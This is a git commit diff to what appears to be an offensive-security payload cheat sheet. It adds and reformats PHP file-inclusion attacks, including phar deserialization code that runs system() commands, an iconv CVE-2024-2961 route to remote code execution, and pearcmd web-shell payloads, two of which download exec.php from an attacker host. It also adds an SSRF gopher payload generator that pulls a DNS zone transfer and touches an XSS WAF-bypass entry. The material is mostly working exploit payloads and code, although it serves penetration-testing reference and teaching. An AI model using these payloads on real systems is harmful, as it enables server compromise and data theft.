SSRF DNS AXFR + LFI PHAR payloads + LFI iconv

This commit is contained in:
Swissky 2024-06-16 21:17:42 +02:00
parent 7e4a38a1a5
commit 314e4da963
3 changed files with 125 additions and 28 deletions

View File

@ -26,9 +26,12 @@
- [Wrapper input://](#wrapper-input) - [Wrapper input://](#wrapper-input)
- [Wrapper zip://](#wrapper-zip) - [Wrapper zip://](#wrapper-zip)
- [Wrapper phar://](#wrapper-phar) - [Wrapper phar://](#wrapper-phar)
- [PHAR archive structure](#phar-archive-structure)
- [PHAR deserialization](#phar-deserialization)
- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk) - [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) - [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) - [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
- [LFI to RCE via iconv](#lfi-to-rce-via-iconv)
- [LFI to RCE via upload](#lfi-to-rce-via-upload) - [LFI to RCE via upload](#lfi-to-rce-via-upload)
- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race) - [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile) - [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
@ -241,37 +244,83 @@ Alternatively, Kadimus has a module to automate this attack.
### Wrapper phar:// ### Wrapper phar://
Create a phar file with a serialized object in its meta-data. #### PHAR archive structure
PHAR files work like ZIP files, when you can use the `phar://` to access files stored inside them.
1. Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php`
```php
<?php
$phar = new Phar('archive.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', '<?php phpinfo(); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
```
2. Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt`
#### PHAR deserialization
:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.
If a file operation is now performed on our existing phar file via the `phar://` wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: `include`, `file_get_contents`, `file_put_contents`, `copy`, `file_exists`, `is_executable`, `is_file`, `is_dir`, `is_link`, `is_writable`, `fileperms`, `fileinode`, `filesize`, `fileowner`, `filegroup`, `fileatime`, `filemtime`, `filectime`, `filetype`, `getimagesize`, `exif_read_data`, `stat`, `lstat`, `touch`, `md5_file`, etc.
This exploit requires at least one class with magic methods such as `__destruct()` or `__wakeup()`.
Let's take this `AnyClass` class as example, which execute the parameter data.
```php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
...
echo file_exists($_GET['page']);
```
We can craft a phar archive containing a serialized object in its meta-data.
```php ```php
// create new Phar // create new Phar
$phar = new Phar('test.phar'); $phar = new Phar('deser.phar');
$phar->startBuffering(); $phar->startBuffering();
$phar->addFromString('test.txt', 'text'); $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setStub('<?php __HALT_COMPILER(); ?>');
// add object of any class as meta data // add object of any class as meta data
class AnyClass {} class AnyClass {
$object = new AnyClass; public $data = null;
$object->data = 'rips'; public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
$object = new AnyClass('whoami');
$phar->setMetadata($object); $phar->setMetadata($object);
$phar->stopBuffering(); $phar->stopBuffering();
``` ```
If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked Finally call the phar wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar`
NOTE: you can use the `$phar->setStub()` to add the magic bytes of JPG file: `\xff\xd8\xff`
```php ```php
class AnyClass { $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
function __destruct() {
echo $this->data;
}
}
// output: rips
include('phar://test.phar');
``` ```
NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
### Wrapper convert.iconv:// and dechunk:// ### Wrapper convert.iconv:// and dechunk://
@ -345,6 +394,22 @@ User-Agent: <?=phpinfo(); ?>
``` ```
## LFI to RCE via iconv
Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.
**Requirements**:
* PHP 7.0.0 (2015) to 8.3.7 (2024)
* GNU C Library (`glibc`) <= 2.39
* Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
**Exploit**:
* [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
## LFI to RCE via upload ## LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ). If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
@ -535,12 +600,13 @@ register_argc_argv = On
There are this ways to exploit it. There are this ways to exploit it.
* Method 1: config create * **Method 1**: config create
```ps1 ```ps1
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php /vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die(); /vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
``` ```
* Method 2: man_dir
* **Method 2**: man_dir
```ps1 ```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+ /vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
/vuln.php?file=/tmp/exec.php&c=id /vuln.php?file=/tmp/exec.php&c=id
@ -551,18 +617,13 @@ There are this ways to exploit it.
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";} a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
``` ```
* Method 3: download * **Method 3**: download (need external network connection).
Need external network connection.
```ps1 ```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php /vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
/vuln.php?file=exec.php&c=id /vuln.php?file=exec.php&c=id
``` ```
* Method 4: install
Need external network connection. * **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
```ps1 ```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php /vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id /vuln.php?file=/tmp/pear/download/exec.php&c=id
@ -625,3 +686,4 @@ If SSH is active check which user is being used `/proc/self/status` and `/etc/pa
* [One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin](https://hackmd.io/@ginoah/phpInclude#/) * [One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin](https://hackmd.io/@ginoah/phpInclude#/)
* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) * [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
* [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) * [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
* [OffensiveCon24- Charles Fol- Iconv, Set the Charset to RCE - 14 juin 2024](https://youtu.be/dqKFHjcK9hM)

View File

@ -36,6 +36,7 @@
* [SSRF exploiting Redis](#ssrf-exploiting-redis) * [SSRF exploiting Redis](#ssrf-exploiting-redis)
* [SSRF exploiting PDF file](#ssrf-exploiting-pdf-file) * [SSRF exploiting PDF file](#ssrf-exploiting-pdf-file)
* [Blind SSRF](#blind-ssrf) * [Blind SSRF](#blind-ssrf)
* [SSRF to AXFR DNS](#ssrf-to-axfr-dns)
* [SSRF to XSS](#ssrf-to-xss) * [SSRF to XSS](#ssrf-to-xss)
* [SSRF from XSS](#ssrf-from-xss) * [SSRF from XSS](#ssrf-from-xss)
* [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances) * [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances)
@ -515,6 +516,36 @@ From https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ / https://github.co
- [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat) - [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat)
## SSRF to AXFR DNS
Query an internal DNS resolver to trigger a full zone transfer (AXFR) and exfiltrate a list of subdomains.
```py
from urllib.parse import quote
domain,tld = "example.lab".split('.')
dns_request = b"\x01\x03\x03\x07" # BITMAP
dns_request += b"\x00\x01" # QCOUNT
dns_request += b"\x00\x00" # ANCOUNT
dns_request += b"\x00\x00" # NSCOUNT
dns_request += b"\x00\x00" # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode() # DOMAIN
dns_request += len(tld).to_bytes() # LEN TLD
dns_request += tld.encode() # TLD
dns_request += b"\x00" # DNAME EOF
dns_request += b"\x00\xFC" # QTYPE AXFR (252)
dns_request += b"\x00\x01" # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')
```
Example of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01`
```ps1
curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd
```
## SSRF to XSS ## SSRF to XSS
by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
@ -562,6 +593,7 @@ The AWS Instance Metadata Service is a service available within Amazon EC2 insta
* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/` * IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/`
In case of a WAF, you might want to try different ways to connect to the API. In case of a WAF, you might want to try different ways to connect to the API.
* DNS record pointing to the AWS API IP * DNS record pointing to the AWS API IP
```powershell ```powershell
http://instance-data http://instance-data
@ -895,3 +927,6 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se
- [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html) - [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html)
- [Attacking Url's in JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/) - [Attacking Url's in JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/)
- [SSRF: Don't encode entire IP](https://twitter.com/thedawgyg/status/1224547692967342080) - [SSRF: Don't encode entire IP](https://twitter.com/thedawgyg/status/1224547692967342080)
- [Pong [EN]| FCSC 2024 - vozec - April 12, 2024](https://vozec.fr/writeups/pong-fcsc2024-en/)
- [Pong [EN]| FCSC 2024 - mizu.re - Apr 13, 2024](https://mizu.re/post/pong)
- [SSRFmap - Introducing the AXFR module - Swissky - June 13, 2024](https://swisskyrepo.github.io/SSRFmap-axfr/)

View File

@ -53,7 +53,7 @@ NOTE: Chrome Auditor is deprecated and removed on latest version of Chrome and C
## Incapsula WAF ## Incapsula WAF
* 11th May 2019 - [@daveysec](https://twitter.com/daveysec/status/1126999990658670593) - * 11th May 2019 - [@daveysec](https://twitter.com/daveysec/status/1126999990658670593)
```js ```js
<svg onload\r\n=$.globalEval("al"+"ert()");> <svg onload\r\n=$.globalEval("al"+"ert()");>
``` ```